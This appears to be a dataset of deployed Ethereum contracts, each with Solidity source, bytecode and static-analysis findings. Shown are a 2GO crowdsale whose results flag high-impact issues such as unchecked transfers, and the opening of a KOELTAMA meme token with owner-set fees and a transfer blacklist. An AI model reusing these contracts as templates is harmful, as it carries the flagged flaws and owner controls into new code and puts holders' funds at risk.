3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,216 |
0x05a40435e4e6ecdabd630ba8593d50b6b6ce14f9
|
pragma solidity ^0.4.19;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GOToken is MintableToken {
string public constant name = "2GO Token";
string public constant symbol = "2GO";
uint32 public constant decimals = 18;
mapping(address => bool) public locked;
modifier notLocked() {
require(msg.sender == owner || (mintingFinished && !locked[msg.sender]));
_;
}
function lock(address to) public onlyOwner {
require(!mintingFinished);
locked[to] = true;
}
function unlock(address to) public onlyOwner {
locked[to] = false;
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(owner, alienToken.balanceOf(this));
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract CommonCrowdsale is Ownable {
using SafeMath for uint256;
uint public constant PERCENT_RATE = 100;
uint public price = 5000000000000000000000;
uint public minInvestedLimit = 100000000000000000;
uint public maxInvestedLimit = 20000000000000000000;
uint public hardcap = 114000000000000000000000;
uint public start = 1513342800;
uint public invested;
uint public extraTokensPercent;
address public wallet;
address public directMintAgent;
address public bountyTokensWallet;
address public foundersTokensWallet;
uint public bountyTokensPercent = 5;
uint public foundersTokensPercent = 15;
uint public index;
bool public isITOFinished;
bool public extraTokensTransferred;
address[] public tokenHolders;
mapping (address => uint) public balances;
struct Milestone {
uint periodInDays;
uint discount;
}
Milestone[] public milestones;
GOToken public token = new GOToken();
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier saleIsOn(uint value) {
require(value >= minInvestedLimit && now >= start && now < end() && invested < hardcap);
_;
}
function tokenHoldersCount() public view returns(uint) {
return tokenHolders.length;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function setMaxInvestedLimit(uint naxMinInvestedLimit) public onlyOwner {
maxInvestedLimit = naxMinInvestedLimit;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner {
minInvestedLimit = newMinInvestedLimit;
}
function milestonesCount() public view returns(uint) {
return milestones.length;
}
function end() public constant returns(uint) {
uint last = start;
for (uint i = 0; i < milestones.length; i++) {
Milestone storage milestone = milestones[i];
last += milestone.periodInDays * 1 days;
}
return last;
}
function addMilestone(uint periodInDays, uint discount) public onlyOwner {
milestones.push(Milestone(periodInDays, discount));
}
function setExtraTokensPercent(uint newExtraTokensPercent) public onlyOwner {
extraTokensPercent = newExtraTokensPercent;
}
function payExtraTokens(uint count) public onlyOwner {
require(isITOFinished && !extraTokensTransferred);
if(extraTokensPercent == 0) {
extraTokensTransferred = true;
} else {
for(uint i = 0; index < tokenHolders.length && i < count; i++) {
address tokenHolder = tokenHolders[index];
uint value = token.balanceOf(tokenHolder);
if(value != 0) {
uint targetValue = value.mul(extraTokensPercent).div(PERCENT_RATE);
token.mint(this, targetValue);
token.transfer(tokenHolder, targetValue);
}
index++;
}
if(index == tokenHolders.length) extraTokensTransferred = true;
}
}
function finishITO() public onlyOwner {
require(!isITOFinished);
uint extendedTokensPercent = bountyTokensPercent.add(foundersTokensPercent);
uint totalSupply = token.totalSupply();
uint allTokens = totalSupply.mul(PERCENT_RATE).div(PERCENT_RATE.sub(extendedTokensPercent));
uint bountyTokens = allTokens.mul(bountyTokensPercent).div(PERCENT_RATE);
mint(bountyTokensWallet, bountyTokens);
uint foundersTokens = allTokens.mul(foundersTokensPercent).div(PERCENT_RATE);
mint(foundersTokensWallet, foundersTokens);
isITOFinished = true;
}
function tokenOperationsFinished() public onlyOwner {
require(extraTokensTransferred);
token.finishMinting();
token.transferOwnership(owner);
}
function getDiscount() public view returns(uint) {
uint prevTimeLimit = start;
for (uint i = 0; i < milestones.length; i++) {
Milestone storage milestone = milestones[i];
prevTimeLimit += milestone.periodInDays * 1 days;
if (now < prevTimeLimit)
return milestone.discount;
}
revert();
}
function mint(address to, uint value) internal {
if(token.balanceOf(to) == 0) tokenHolders.push(to);
token.mint(to, value);
}
function calculateAndTransferTokens(address to, uint investedInWei) internal {
invested = invested.add(msg.value);
uint tokens = investedInWei.mul(price.mul(PERCENT_RATE)).div(PERCENT_RATE.sub(getDiscount())).div(1 ether);
mint(to, tokens);
balances[to] = balances[to].add(investedInWei);
if(balances[to] >= maxInvestedLimit) token.lock(to);
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner saleIsOn(investedWei) {
calculateAndTransferTokens(to, investedWei);
}
function createTokens() public payable saleIsOn(msg.value) {
require(!isITOFinished);
wallet.transfer(msg.value);
calculateAndTransferTokens(msg.sender, msg.value);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(wallet, alienToken.balanceOf(this));
}
function unlock(address to) public onlyOwner {
token.unlock(to);
}
}
contract GOTokenCrowdsale is CommonCrowdsale {
function GOTokenCrowdsale() public {
hardcap = 54000000000000000000000;
price = 50000000000000000000000;
start = 1530230400;
wallet = 0x727436A7E7B836f3AB8d1caF475fAfEaeb25Ff27;
bountyTokensWallet = 0x38e4f2A7625A391bFE59D6ac74b26D8556d6361E;
foundersTokensWallet = 0x76A13d4F571107f363FF253E80706DAcE889aDED;
addMilestone(7, 30);
addMilestone(21, 15);
addMilestone(56, 0);
}
}
|
0x6060604052600436106102215763ffffffff60e060020a60003504166314c292ca811461022b5780631fd419491461023e57806327e235e3146102545780632986c0e5146102855780632e6f3e4a146102985780632f48c4aa146102ab5780632f6c493c146102ca5780632f8bd891146102e9578063453dfcae1461030b5780634787513a146103215780634a23418a14610334578063521eb2731461036357806352a2720c14610376578063535010521461039d5780635601477b146103b057806356930b55146103c957806359169d06146103dc5780636abc3fe4146103f2578063769ffb7d146104055780637f1ce4171461042457806386d0b46d146104375780638da5cb5b1461044a57806391b7f5ed1461045d578063923108d91461047357806399cd211d146104895780639a3fdfd01461049c578063a035b1fe146104af578063a34d9270146104c2578063ab36e4a6146104d8578063ac4ddd9f146104eb578063ada199dd1461050a578063b071cbe614610520578063b442726314610221578063be9a655514610533578063cafb220214610546578063d137874b14610559578063d64196f81461056c578063dab5cec21461057f578063deaa59df14610595578063e28fa27d146105b4578063e89e4ed6146105ca578063efbe1c1c146105f8578063f2fde38b1461060b578063f6a03ebf1461062a578063fa8b72ff14610640578063fabf5ea51461065f578063fc0c546a14610672575b610229610685565b005b341561023657600080fd5b610229610717565b341561024957600080fd5b610229600435610875565b341561025f57600080fd5b610273600160a060020a0360043516610895565b60405190815260200160405180910390f35b341561029057600080fd5b6102736108a7565b34156102a357600080fd5b6102736108ad565b34156102b657600080fd5b610229600160a060020a03600435166108b2565b34156102d557600080fd5b610229600160a060020a03600435166108ef565b34156102f457600080fd5b610229600160a060020a0360043516602435610971565b341561031657600080fd5b6102296004356109f7565b341561032c57600080fd5b610273610c5f565b341561033f57600080fd5b610347610c66565b604051600160a060020a03909116815260200160405180910390f35b341561036e57600080fd5b610347610c75565b341561038157600080fd5b610389610c84565b604051901515815260200160405180910390f35b34156103a857600080fd5b610273610c92565b34156103bb57600080fd5b610229600435602435610c98565b34156103d457600080fd5b610229610d01565b34156103e757600080fd5b610229600435610dfd565b34156103fd57600080fd5b610347610e1d565b341561041057600080fd5b610229600160a060020a0360043516610e2c565b341561042f57600080fd5b610389610e69565b341561044257600080fd5b610273610e72565b341561045557600080fd5b610347610e78565b341561046857600080fd5b610229600435610e87565b341561047e57600080fd5b610347600435610ea7565b341561049457600080fd5b610347610ecf565b34156104a757600080fd5b610273610ede565b34156104ba57600080fd5b610273610ee4565b34156104cd57600080fd5b610229600435610eea565b34156104e357600080fd5b610273610f0a565b34156104f657600080fd5b610229600160a060020a0360043516610f10565b341561051557600080fd5b610229600435611019565b341561052b57600080fd5b610273611039565b341561053e57600080fd5b61027361103f565b341561055157600080fd5b610273611045565b341561056457600080fd5b61027361104b565b341561057757600080fd5b6102736110b4565b341561058a57600080fd5b6102296004356110ba565b34156105a057600080fd5b610229600160a060020a03600435166110da565b34156105bf57600080fd5b610229600435611117565b34156105d557600080fd5b6105e0600435611137565b60405191825260208201526040908101905180910390f35b341561060357600080fd5b610273611163565b341561061657600080fd5b610229600160a060020a03600435166111b7565b341561063557600080fd5b610229600435611245565b341561064b57600080fd5b610229600160a060020a0360043516611265565b341561066a57600080fd5b6102736112a2565b341561067d57600080fd5b6103476112a8565b34600254811015801561069a57506005544210155b80156106ac57506106a9611163565b42105b80156106bb5750600454600654105b15156106c657600080fd5b600f5460ff16156106d657600080fd5b600854600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561070a57600080fd5b61071433346112b7565b50565b60008054819081908190819033600160a060020a0390811691161461073b57600080fd5b600f5460ff161561074b57600080fd5b600d54600c546107609163ffffffff6113df16565b601354909550600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156107ab57600080fd5b6102c65a03f115156107bc57600080fd5b505050604051805194506107f990506107dc60648763ffffffff6113f516565b6107ed86606463ffffffff61140716565b9063ffffffff61142b16565b925061081560646107ed600c548661140790919063ffffffff16565b600a5490925061082e90600160a060020a031683611442565b61084860646107ed600d548661140790919063ffffffff16565b600b5490915061086190600160a060020a031682611442565b5050600f805460ff19166001179055505050565b60005433600160a060020a0390811691161461089057600080fd5b600355565b60116020526000908152604090205481565b600e5481565b606481565b60005433600160a060020a039081169116146108cd57600080fd5b600b8054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461090a57600080fd5b601354600160a060020a0316632f6c493c8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561095a57600080fd5b6102c65a03f1151561096b57600080fd5b50505050565b60095433600160a060020a039081169116148061099c575060005433600160a060020a039081169116145b15156109a757600080fd5b8060025481101580156109bc57506005544210155b80156109ce57506109cb611163565b42105b80156109dd5750600454600654105b15156109e857600080fd5b6109f283836112b7565b505050565b6000805481908190819033600160a060020a03908116911614610a1957600080fd5b600f5460ff168015610a335750600f54610100900460ff16155b1515610a3e57600080fd5b6007541515610a5b57600f805461ff001916610100179055610c58565b600093505b601054600e54108015610a7257508484105b15610c3c576010600e54815481101515610a8857fe5b6000918252602082200154601354600160a060020a03918216955016906370a082319085906040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610af257600080fd5b6102c65a03f11515610b0357600080fd5b50505060405180519250508115610c2657610b2e60646107ed6007548561140790919063ffffffff16565b601354909150600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b9057600080fd5b6102c65a03f11515610ba157600080fd5b50505060405180515050601354600160a060020a031663a9059cbb848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c0a57600080fd5b6102c65a03f11515610c1b57600080fd5b505050604051805150505b600e805460019081019091559390930192610a60565b601054600e541415610c5857600f805461ff0019166101001790555b5050505050565b6010545b90565b600b54600160a060020a031681565b600854600160a060020a031681565b600f54610100900460ff1681565b60075481565b60005433600160a060020a03908116911614610cb357600080fd5b6012805460018101610cc58382611553565b91600052602060002090600202016000604080519081016040528581526020810185905291905081518155602082015181600101555050505050565b60005433600160a060020a03908116911614610d1c57600080fd5b600f54610100900460ff161515610d3257600080fd5b601354600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d7a57600080fd5b6102c65a03f11515610d8b57600080fd5b50505060405180515050601354600054600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610dec57600080fd5b6102c65a03f115156109f257600080fd5b60005433600160a060020a03908116911614610e1857600080fd5b600c55565b600954600160a060020a031681565b60005433600160a060020a03908116911614610e4757600080fd5b60098054600160a060020a031916600160a060020a0392909216919091179055565b600f5460ff1681565b600d5481565b600054600160a060020a031681565b60005433600160a060020a03908116911614610ea257600080fd5b600155565b6010805482908110610eb557fe5b600091825260209091200154600160a060020a0316905081565b600a54600160a060020a031681565b600c5481565b60015481565b60005433600160a060020a03908116911614610f0557600080fd5b600255565b60125490565b6000805433600160a060020a03908116911614610f2c57600080fd5b506008548190600160a060020a038083169163a9059cbb9116826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610f9357600080fd5b6102c65a03f11515610fa457600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ffa57600080fd5b6102c65a03f1151561100b57600080fd5b505050604051805150505050565b60005433600160a060020a0390811691161461103457600080fd5b600d55565b60045481565b60055481565b60065481565b60055460009081805b6012548210156110a957601280548390811061106c57fe5b9060005260206000209060020201905080600001546201518002830192508242101561109e57806001015493506110ae565b600190910190611054565b600080fd5b50505090565b60025481565b60005433600160a060020a039081169116146110d557600080fd5b600755565b60005433600160a060020a039081169116146110f557600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461113257600080fd5b600455565b601280548290811061114557fe5b60009182526020909120600290910201805460019091015490915082565b60055460009081805b6012548210156111af57601280548390811061118457fe5b906000526020600020906002020190508060000154620151800283019250818060010192505061116c565b509092915050565b60005433600160a060020a039081169116146111d257600080fd5b600160a060020a03811615156111e757600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461126057600080fd5b600555565b60005433600160a060020a0390811691161461128057600080fd5b600a8054600160a060020a031916600160a060020a0392909216919091179055565b60035481565b601354600160a060020a031681565b6006546000906112cd903463ffffffff6113df16565b60065561131d670de0b6b3a76400006107ed6112f86112ea61104b565b60649063ffffffff6113f516565b6001546107ed9061131090606463ffffffff61140716565b879063ffffffff61140716565b90506113298382611442565b600160a060020a038316600090815260116020526040902054611352908363ffffffff6113df16565b600160a060020a038416600090815260116020526040902081905560035490106109f257601354600160a060020a031663f435f5a78460405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156113c657600080fd5b6102c65a03f115156113d757600080fd5b505050505050565b6000828201838110156113ee57fe5b9392505050565b60008282111561140157fe5b50900390565b6000828202831580611423575082848281151561142057fe5b04145b15156113ee57fe5b600080828481151561143957fe5b04949350505050565b601354600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561149b57600080fd5b6102c65a03f115156114ac57600080fd5b5050506040518051151590506114f45760108054600181016114ce838261157f565b5060009182526020909120018054600160a060020a031916600160a060020a0384161790555b601354600160a060020a03166340c10f19838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ffa57600080fd5b8154818355818115116109f2576002028160020283600052602060002091820191016109f291906115a3565b8154818355818115116109f2576000838152602090206109f29181019083016115c7565b610c6391905b808211156115c357600080825560018201556002016115a9565b5090565b610c6391905b808211156115c357600081556001016115cd5600a165627a7a723058206035918209d2fe7b6d299b6af985875622e29176f32ec3a13f93454f782b34370029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,217 |
0x0fbd153d66d186a1d3e416447ed9bbe256863032
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/**
*/
// SPDX-License-Identifier: UNLICENSED
//KOELTAMA is a community-driven DeFi auto-staking ERC-20 token. The meme staking crypto is deflationary and comes with a hard-cap limitl! KOELTAMA will protect and bring us to the moon! The Next Meme Rocket On ERC!!
//Telegram:t.me/koeltama
//www.koeltama.com
//Liq will be locked for 3months
//5%tax each way
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KOELTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "KOELTAMA";
string private constant _symbol = "KOELTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x158CA1872455f140E18F6f1F7D3588299583019D);
_buyTax = 5;
_sellTax = 5;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
